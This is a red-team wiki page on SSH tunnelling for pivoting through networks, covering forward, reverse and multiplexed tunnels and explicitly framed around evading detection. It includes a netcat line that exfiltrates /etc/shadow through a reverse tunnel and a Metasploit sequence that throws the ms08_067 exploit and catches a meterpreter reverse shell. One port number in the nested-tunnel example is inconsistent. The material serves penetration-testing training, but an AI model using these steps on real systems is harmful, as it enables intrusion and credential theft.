hackchurch-bible

SSH

Philosophy

SSH can not only provide remote access to a system but can be leveraged to provide access to subnets not reachable from the outside. A common scenario would be a firewall exemption allowing a technician to SSH into a DMZ server. If we can gain access to this system, we could leverage this to pivot further into the network. These overall techniques can be very helpful for red teams wishing to minimize their connection footprint in order to evade detection. With some of the more advanced techniques, one could leverage a single tcp connection through a firewall and yet still be conducting various operations all of which are protected by the encrypted SSH tunnel.

Basic connection

The default port option (-p 22) is implied and can therefore be omitted unless requiring a different port number

operator: >RHP------->22 TARGET1

op@operator# ssh -p 22 user1@target1

Forward Tunnel with Local Listener

This scenario starts a listening port on the origin machine which will forward packets to target2. With this example we can SSH into target2 through target1 with the following syntax. This is a great example of pivoting deeper into a network.

operator: >RHP------->22 TARGET1

operator: >2000----------TARGET1---------->22 TARGET2

op@operator# ssh -L 2000:target2:22 user1@target1
op@operator# ssh -p 2000 user2@127.0.0.1
  • 2000 local port
  • 22 remote port

Reverse Tunnel with Remote Listener

A slightly tricky concept that becomes powerful once understood. Assume a scenario that target1 is accessible to us, yet sits behind a firewall that blocks all other inbound traffic. We could leverage this command to exfil data through our SSH tunnel by starting a listener within the network on target1. This can be paired with scp or ncat to "pull" data through the tunnel back to our attacker box.

operator: >RHP------->22 TARGET1

operator: 9000<----------TARGET1--<3000

op@operator# ssh -R 3000:127.0.0.1:9000 user1@target1
op@operator# nc -nvlp 9000 > exfil_data
user1@target1# nc 127.0.0.1 3000 < /etc/shadow
  • 127.0.0.1 host to be forwarded to (in this case our loopback addr on the attacker box)
  • 3000 remote port
  • 9000 local port (potentially our ncat listener for exfil)

Fork Tunnel

Two forward tunnels with a local listener over a single TCP connection to target1 This takes further advantage of SSH's ability to create multiple channels and multiplex tcp streams through a single socket connection. This can be used to avoid blue team detection by ensuring we limit the amount of concurrent outbound connections.

operator: >RHP--------->22 TARGET1

operator: >2000------------TARGET1------>22 TARGET2

operator: >2001------------TARGET1------>80 TARGET3

op@operator# ssh -L 2000:target2:22 -L 2001:target3:80 user1@target1
op@operator# ssh -p 2000 user2@127.0.0.1
op@operator# curl http://127.0.0.1:2001/target3_webpage
  • 2000 local port for connection 1
  • 22 remote port for connection 1
  • 2001 local port for connection 2
  • 80 remote port for connection 2

Bidirectional Tunnel with Exploit

Forward & Reverse Tunnels with Local & Reverse Listeners utilizing a single TCP connection to TARGET1 This further emphasizes the fact that we can create multiple channels as well as mix-and-match the direction of our tunnels. This particular scenario could be useful for throwing an MSF exploit through the tunnel and catch the provided callback on our reverse listener. Note that since we are leveraging an SSH tunnel for pivoting and not an existing meterpreter session, we need to start our own meterpreter listener and set DisablePayloadHandler to true. This is due to the fact that we need to tell the meterpreter callback to target1's IP and msf will attempt to bind to $(target1_IP):3000 which will fail.

operator: >RHP------------>22 TARGET1

operator: >2000---------------TARGET1-------->445 TARGET2

operator: <8080---------------TARGET1<3000--------TARGET2

op@operator# ssh -L 2000:target2:445 -R 3000:127.0.0.1:8080 user@target1
msf> use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LPORT 8080
msf exploit(multi/handler) > set LHOST 127.0.0.1
msf exploit(multi/handler) > run -j
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067) > set RHOST 127.0.0.1
msf exploit(ms08_067) > set RPORT 2000
msf exploit(ms08_067) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms08_067) > set LHOST $(target1_IP)
msf exploit(ms08_067) > set LPORT 3000
msf exploit(ms08_067) > set DisablePayloadHandler true
msf exploit(ms08_067) > exploit
  • 2000 local port for forward listener
  • 3000 remote port for reverse tunnel

Tunnelception

SSH tunnel to target3 through a tunnel to target2 through a tunnel to target1 A further abstracted concept to show that we are not limited by how deep we can penetrate and pivot through various machines. We are limited only by network reachability, ACLs, and SSH credentials.

operator: >RHP----->22 TARGET1

operator: >2000--------TARGET1------>22 TARGET2

operator: >2001--------TARGET1----------TARGET2------->TARGET3

op@operator# ssh -L 2000:target2:22 user1@target1
op@operator# ssh -L 2001:target3:22 -p2000 user2@127.0.0.1
op@operator# ssh -p 2201 user3@127.0.0.1
  • 2000 local port for target2 connection
  • 2001 local port for target3 connection

Add Session Tunnel

Add a Forward Tunnel in an active SSH session target1 in order to leverage the single socket connection for multiple channels

# must be a fresh new line so hit enter and try again if you don't drop into menu
op@operator# ~C
ssh> -L 2000:target2:22
  • 2000 local port

Gotcha's

Of particular note is leveraging reverse tunnels. By default, SSH on linux will start the listener on 127.0.0.1 and will not be reachable on the LAN. Either /etc/ssh/sshd_config needs to have GATEWAYPORTS enabled or use the switch -gR to try to force a global listener. If all else fails, an SSH tunnel loop trick can be used to expose the port using the following syntax. Note that the second command is executed on target1 (assuming an IP address of 192.168.1.1).

op@operator# ssh -R 3000:127.0.0.1:22 user1@target1
user1@target1# ssh -L 192.168.1.1:3000:127.0.0.1:3000 user1@target1

Another gotcha is the fact that the tunnel will only exist as long as the terminal or ssh session is still running. You can either use multiple tabs/windows for each hop or use the same window as you further dig into a network. However, if you would like to background a tunnel session and make it a little more persistent, then you can leverage the fork and "Do not execute a remote command" switches.

op@operator# ssh -NfL 2000:target2:22 user1@target1

Lastly, it is important to be congnizant of the fact that 1-1024 privileged ports will require root permissions to start a listener. This is easy to forget when one is trying to start a remote listener and you don't see the stderr message saying that it failed to bind to that port.

Edit this page on GitHub